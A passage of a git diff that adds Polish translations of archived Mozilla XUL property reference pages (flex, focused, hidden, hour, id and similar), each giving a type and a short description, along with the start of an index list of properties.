@@ -0,0 +1,20 @@
+---
+title: flex
+slug: Mozilla/Tech/XUL/Własność/flex
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/flex
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/focused/index.html b/files/pl/mozilla/tech/xul/własność/focused/index.html
new file mode 100644
index 0000000000..24d1d4dab2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/focused/index.html
@@ -0,0 +1,16 @@
+---
+title: focused
+slug: Mozilla/Tech/XUL/Własność/focused
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/focused
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/focused">focused</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-focused"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/focused">focused</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/focuseditem/index.html b/files/pl/mozilla/tech/xul/własność/focuseditem/index.html
new file mode 100644
index 0000000000..61ff3000a0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/focuseditem/index.html
@@ -0,0 +1,20 @@
+---
+title: focusedItem
+slug: Mozilla/Tech/XUL/Własność/focusedItem
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/focusedItem
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/focusedItem">focusedItem</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code></i>
+ </dd>
+ <dd>
+ Podtrzymuje bieżącą aktywną pozycję <code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code>, która może lub nie być tą samą zaznaczoną pozycją. Możemy zmienić aktywną pozycję poprzez ustawienie ten własności.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/forcecomplete/index.html b/files/pl/mozilla/tech/xul/własność/forcecomplete/index.html
new file mode 100644
index 0000000000..90baa77312
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/forcecomplete/index.html
@@ -0,0 +1,20 @@
+---
+title: forceComplete
+slug: Mozilla/Tech/XUL/Własność/forceComplete
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/forceComplete
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/forceComplete">forceComplete</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-forcecomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/forcecomplete">forcecomplete</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/group/index.html b/files/pl/mozilla/tech/xul/własność/group/index.html
new file mode 100644
index 0000000000..3b221efc67
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/group/index.html
@@ -0,0 +1,20 @@
+---
+title: group
+slug: Mozilla/Tech/XUL/Własność/group
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/group
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/group">group</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ tekstowa nazwa grupy</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-group"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/group">group</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/handlectrlpageupdown/index.html b/files/pl/mozilla/tech/xul/własność/handlectrlpageupdown/index.html
new file mode 100644
index 0000000000..67f19be58a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/handlectrlpageupdown/index.html
@@ -0,0 +1,20 @@
+---
+title: handleCtrlPageUpDown
+slug: Mozilla/Tech/XUL/Własność/handleCtrlPageUpDown
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/handleCtrlPageUpDown
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/handleCtrlPageUpDown">handleCtrlPageUpDown</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-handleCtrlPageUpDown"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/handleCtrlPageUpDown">handleCtrlPageUpDown</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/handlectrltab/index.html b/files/pl/mozilla/tech/xul/własność/handlectrltab/index.html
new file mode 100644
index 0000000000..aea40fb364
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/handlectrltab/index.html
@@ -0,0 +1,20 @@
+---
+title: handleCtrlTab
+slug: Mozilla/Tech/XUL/Własność/handleCtrlTab
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/handleCtrlTab
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/handleCtrlTab">handleCtrlTab</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-handleCtrlTab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/handleCtrlTab">handleCtrlTab</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/height/index.html b/files/pl/mozilla/tech/xul/własność/height/index.html
new file mode 100644
index 0000000000..5819c10486
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/height/index.html
@@ -0,0 +1,20 @@
+---
+title: height
+slug: Mozilla/Tech/XUL/Własność/height
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/height
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/hidden/index.html b/files/pl/mozilla/tech/xul/własność/hidden/index.html
new file mode 100644
index 0000000000..ff632b8d92
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/hidden/index.html
@@ -0,0 +1,20 @@
+---
+title: hidden
+slug: Mozilla/Tech/XUL/Własność/hidden
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/hidden
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/hideseconds/index.html b/files/pl/mozilla/tech/xul/własność/hideseconds/index.html
new file mode 100644
index 0000000000..c4b6e99b2f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/hideseconds/index.html
@@ -0,0 +1,17 @@
+---
+title: hideSeconds
+slug: Mozilla/Tech/XUL/Własność/hideSeconds
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/hideSeconds
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hideSeconds">hideSeconds</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Sygnalizuje gdzie pole sekund jest widoczne lub nie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/homepage/index.html b/files/pl/mozilla/tech/xul/własność/homepage/index.html
new file mode 100644
index 0000000000..49e30146b4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/homepage/index.html
@@ -0,0 +1,16 @@
+---
+title: homePage
+slug: Mozilla/Tech/XUL/Własność/homePage
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/homePage
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/homePage">homePage</a></span></code>
+</dt><dd> Typ: <i>tekstowy adres URL strony domowej</i>
+</dd><dd> Ta własność przechowuje adres strony startowej ustawionej przez użytkownika.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/hour/index.html b/files/pl/mozilla/tech/xul/własność/hour/index.html
new file mode 100644
index 0000000000..c133eea37b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/hour/index.html
@@ -0,0 +1,17 @@
+---
+title: hour
+slug: Mozilla/Tech/XUL/Własność/hour
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/hour
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hour">hour</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Aktualnie zaznaczona godzina z przedziału od 0 do 23. Ustaw tą własność, aby zmienić zaznaczoną godzinę.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/hourleadingzero/index.html b/files/pl/mozilla/tech/xul/własność/hourleadingzero/index.html
new file mode 100644
index 0000000000..29370b3da2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/hourleadingzero/index.html
@@ -0,0 +1,17 @@
+---
+title: hourLeadingZero
+slug: Mozilla/Tech/XUL/Własność/hourLeadingZero
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/hourLeadingZero
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hourLeadingZero">hourLeadingZero</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie wiodące zero powinno być wyświetlone przed godziną zanim jest ona mniejsza niż 10.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/id/index.html b/files/pl/mozilla/tech/xul/własność/id/index.html
new file mode 100644
index 0000000000..f3a6827f27
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/id/index.html
@@ -0,0 +1,20 @@
+---
+title: id
+slug: Mozilla/Tech/XUL/Własność/id
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/id
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element id, musi mieć unikatową nazwę w oknie</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/ignoreblurwhilesearching/index.html b/files/pl/mozilla/tech/xul/własność/ignoreblurwhilesearching/index.html
new file mode 100644
index 0000000000..5ada16bef0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/ignoreblurwhilesearching/index.html
@@ -0,0 +1,14 @@
+---
+title: ignoreBlurWhileSearching
+slug: Mozilla/Tech/XUL/Własność/ignoreBlurWhileSearching
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/ignoreBlurWhileSearching
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ignoreBlurWhileSearching">ignoreBlurWhileSearching</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-ignoreblurwhilesearching"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ignoreblurwhilesearching">ignoreblurwhilesearching</a></code>.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/image/index.html b/files/pl/mozilla/tech/xul/własność/image/index.html
new file mode 100644
index 0000000000..c2ddc08cdd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/image/index.html
@@ -0,0 +1,20 @@
+---
+title: image
+slug: Mozilla/Tech/XUL/Własność/image
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/image
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/image">image</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ adres URL obrazka</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/increment/index.html b/files/pl/mozilla/tech/xul/własność/increment/index.html
new file mode 100644
index 0000000000..0ac43f0cf0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/increment/index.html
@@ -0,0 +1,17 @@
+---
+title: increment
+slug: Mozilla/Tech/XUL/Własność/increment
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/increment
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/increment">increment</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/index.html b/files/pl/mozilla/tech/xul/własność/index.html
new file mode 100644
index 0000000000..f9d15636d8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/index.html
@@ -0,0 +1,219 @@
+---
+title: Własność
+slug: Mozilla/Tech/XUL/Własność
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property
+---
+<p><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span>
+</p>
+<ul><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/accessible">accessible</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/accessKey">accessKey</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/align">align</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/allowEvents">allowEvents</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/alwaysOpenPopup">alwaysOpenPopup</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/appLocale">appLocale</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/autoCheck">autoCheck</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/autoFill">autoFill</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/autoFillAfterMatch">autoFillAfterMatch</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/boxObject">boxObject</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/browsers">browsers</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/builder">builder</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/builderView">builderView</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/buttons">buttons</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/canAdvance">canAdvance</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/canGoBack">canGoBack</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/canGoForward">canGoForward</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/canRewind">canRewind</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/checked">checked</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/checkState">checkState</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/child">child</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/children">children</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/className">className</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/collapsed">collapsed</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/color">color</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/columns">columns</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/command">command</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/commandManager">commandManager</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/completeDefaultIndex">completeDefaultIndex</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/container">container</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/contentDocument">contentDocument</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/contentTitle">contentTitle</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/contentView">contentView</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/contentViewerEdit">contentViewerEdit</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/contentViewerFile">contentViewerFile</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/contentWindow">contentWindow</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/contextMenu">contextMenu</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/control">control</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/controller">controller</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/controllers">controllers</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/crop">crop</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/current">current</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/currentIndex">currentIndex</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/currentItem">currentItem</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/currentPage">currentPage</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/currentPane">currentPane</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/currentSet">currentSet</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/currentURI">currentURI</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/customToolbarCount">customToolbarCount</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/database">database</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/datasources">datasources</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/defaultButton">defaultButton</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/description">description</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/dir">dir</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/disableAutocomplete">disableAutocomplete</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/disableAutoComplete">disableAutoComplete</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/disableautoselect">disableautoselect</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/disabled">disabled</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/disableKeyNavigation">disableKeyNavigation</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/dlgType">dlgType</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/docShell">docShell</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/documentCharsetInfo">documentCharsetInfo</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/editable">editable</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/editingSession">editingSession</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/editortype">editortype</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/enableColumnDrag">enableColumnDrag</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/eventNode">eventNode</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/firstOrdinalColumn">firstOrdinalColumn</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/firstPermanentChild">firstPermanentChild</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/flex">flex</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/focused">focused</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/focusedItem">focusedItem</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/forceComplete">forceComplete</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/group">group</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/handleCtrlPageUpDown">handleCtrlPageUpDown</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/handleCtrlTab">handleCtrlTab</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/height">height</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/hidden">hidden</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/homePage">homePage</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/id">id</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/ignoreBlurWhileSearching">ignoreBlurWhileSearching</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/image">image</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/inputField">inputField</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/inverted">inverted</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/isSearching">isSearching</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/isWaiting">isWaiting</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/label">label</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/lastSelected">lastSelected</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/left">left</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/linkedPanel">linkedPanel</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/listBoxObject">listBoxObject</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/locked">locked</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/markupDocumentViewer">markupDocumentViewer</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/maxHeight">maxHeight</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/maxLength">maxLength</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/maxRows">maxRows</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/maxWidth">maxWidth</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/menu">menu</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/menuBoxObject">menuBoxObject</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/menupopup">menupopup</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/minHeight">minHeight</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/minResultsForPopup">minResultsForPopup</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/minWidth">minWidth</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/mode">mode</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/name">name</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/next">next</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/noMatch">noMatch</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/object">object</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/observes">observes</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/onFirstPage">onFirstPage</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/onLastPage">onLastPage</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/open">open</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/ordinal">ordinal</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/orient">orient</a>
+</li><li> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/pack">pack</a>
